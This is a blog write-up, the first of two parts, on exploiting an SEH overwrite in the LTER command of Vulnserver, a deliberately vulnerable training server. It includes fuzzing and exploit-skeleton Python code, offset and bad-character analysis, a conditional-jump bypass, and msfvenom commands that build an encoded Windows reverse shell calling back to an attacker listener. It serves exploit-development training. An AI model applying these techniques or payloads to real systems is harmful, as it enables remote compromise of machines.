I know this one took a bit longer, but I’ve finally finished up my Vulnserver LTER write-up.
Vulnserver LTER – Introduction
If you have not been following along, I’m slowly writing all the exploits for vulnserver.
This one will be a two-part write-up for the LTER command’s SEH overwrite. I ran into more than a few problems, and ended up with a really interesting exploit in the end.
First, I used the same fuzzing template as the last few exploits.
from boofuzz import * host = "192.168.5.96" port = 9999 def main(): session = Session(target = Target(connection = SocketConnection(host, port, proto='tcp'))) s_initialize("Request") s_string("LTER", fuzzable = False) s_delim(" ", fuzzable = False, name = 'space-1') s_string("fuzzme") session.connect(s_get("Request")) session.fuzz() if __name__ == "__main__": main()
Within a few seconds, the application crashed.
[email protected]:~/vulnserver/lter# python lter_fuzz.py [2019-02-13 10:21:54,744] Test Case: 1: Request.no-name.1 [2019-02-13 10:21:54,746] Info: Type: String. Default value: 'fuzzme'. Case 1 of 1441 overall. [2019-02-13 10:21:54,747] Info: Opening target connection (192.168.5.96:9999)... [2019-02-13 10:21:54,751] Info: Connection opened. [2019-02-13 10:21:54,751] Test Step: Fuzzing Node 'Request' [2019-02-13 10:21:54,771] Transmitting 5 bytes: 4c 54 45 52 20 'LTER ' [2019-02-13 10:21:54,773] Info: 5 bytes sent [2019-02-13 10:21:54,774] Info: Closing target connection... [2019-02-13 10:21:54,775] Info: Connection closed. [2019-02-13 10:21:54,775] Test Step: Sleep between tests. [2019-02-13 10:21:54,778] Info: sleeping for 0.000000 seconds [2019-02-13 10:21:54,786] Test Case: 2: Request.no-name.2 [2019-02-13 10:21:54,787] Info: Type: String. Default value: 'fuzzme'. Case 2 of 1441 overall. [2019-02-13 10:21:54,788] Info: Opening target connection (192.168.5.96:9999)... [2019-02-13 10:21:54,790] Info: Connection opened. [2019-02-13 10:21:54,791] Test Step: Fuzzing Node 'Request' [2019-02-13 10:21:54,796] Transmitting 5011 bytes: 4c 54 45 52 20 2f 2e 3a 2f 41 41 ... 41 41 00 00 'LTER /.:/AA...AA\x00\x00'
As you can see, the application crashed, but I only had control of ECX, EDX, and EBP.
I had no control of EIP, as you can tell from the access violation.
That said, I had control over the SEH chain when I took a look at that.
Vulnserver LTER – SEH Overwrite
With an SEH overwrite verified, I updated my exploit skeleton.
#!/usr/bin/python import socket import os import sys host = "192.168.5.96" port = 9999 buffer = "A" * 5000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print s.recv(1024) print "[+] Sending exploit..." s.send("LTER /.:/" + buffer) print s.recv(1024) s.close()
First, I sent this payload to the application, to verify that it would still crash.
[email protected]:~/vulnserver/lter# python lter_seh_reverse.py Welcome to Vulnerable Server! Enter HELP for help. [+] Sending exploit... Traceback (most recent call last): File "lter_seh_reverse.py", line 27, in
print s.recv(1024) socket.error: [Errno 104] Connection reset by peer
As you can see, SEH control still occurred without the fuzzer.
Next, I generated a pattern of 5000 characters using Metasploit.
[email protected]:~/vulnserver/lter# msf-pattern_create -l 5000
When I sent my pattern, I received different values in my SEH chain.
Using msf-pattern_offset, I was able to get the offsets for SEH and nSEH.
[email protected]:~/vulnserver/lter# msf-pattern_offset -l 5000 -q 45336e45 [*] Exact match at offset 3519 [email protected]:~/vulnserver/lter# msf-pattern_offset -l 5000 -q 326e4531 [*] Exact match at offset 3515
I updated my payload with the new offsets, to verify that they were correct.
padding = "A" * 3515 nSeh = "BBBB" seh = "CCCC" extra = "D" * (length - (len(padding) + len(nSeh) + len(seh)))
As you can see, the offsets were correct, and I had complete control of the SEH chain.
Next, it was time to use mona to find a POP, POP, RET gadget.
Unfortunately, when I sent this address to the application, it got slightly corrupted.
First, I figured I needed to check for bad characters. To do this, I added my simple for loop to my payload.
for i in range(1, 256): buffer += chr(i)
As you can see from the following screenshot, every value higher than 7F was having 7F subtracted from it. This explains the B4 in my gadget address being modified.
Vulnserver LTER – POP, POP, RET and Conditional Jump
Running ‘!mona seh’ again, I looked for an address that would work (marked as ascii or asciiprint).
In this case, I selected the gadget at 0x6250160a. When I updated my payload, my application crashed, and I hit my breakpoint.
When I hit Shift+F9 to pass the exception to my program, I hit my POP/POP/RET gadget.
As expected, after my POP/POP/RET, I ended up in my next SEH pointer, which was still 0x42424242.
Normally, I’d use a short jump (EB 06) to jump over the gadget address, and continue execution. Unfortunately, I could not use an EB, due to the previously discovered bad characters.
In this case, I decided to use the conditional JNE instruction. This will only jump if the zero flag is not set, so I incremented EDI twice before calling this as well. With that in mind, this is how my next SEH payload now looked.
# 0: 47 inc edi # 1: 47 inc edi # 2: 75 06 jne 0x8 # JNE 0x08 = jump 8 bytes over nSeh and seh nSeh = "\x47\x47\x75\x06"
Before the jump, my execution flow was as described.
After the jump, I ended up in my free buffer space as expected!
Problems Arise – More Bad Characters
With my jump in place, I generated a reverse shell payload.
[email protected]:~/vulnserver/lter# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.5.97 LPORT=4444 -f py -e x86/alpha_mixed -b '\x00' [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/alpha_mixed x86/alpha_mixed succeeded with size 710 (iteration=0) x86/alpha_mixed chosen with final size 710 Payload size: 710 bytes Final size of py file: 3400 bytes
Unfortunately, even with the alpha_mixed encoder, the first seven bytes (\x89\xe1\xd9\xed\xd9\x71\xf4) contain some bad characters. The payload uses these to find the payload’s absolute address in memory.
That said, the encoder also has an optional BufferRegister parameter, if you already know where in memory the payload is.
In this case, the ESP register was pointing to the beginning of my payload, so I decided to use that. Next, I regenerated my payload with the new parameter.
[email protected]:~/vulnserver/lter# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.5.97 LPORT=4444 -f py -e x86/alpha_mixed -b '\x00' BufferRegister=ESP
Vulnserver LTER – Conclusion (For Now)
This write-up will be a longer one, so I wanted to break it into two parts.
The next post will have even more debugging, and one or two more issues.
Finally, once it is complete, you can find Part 2 here!
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.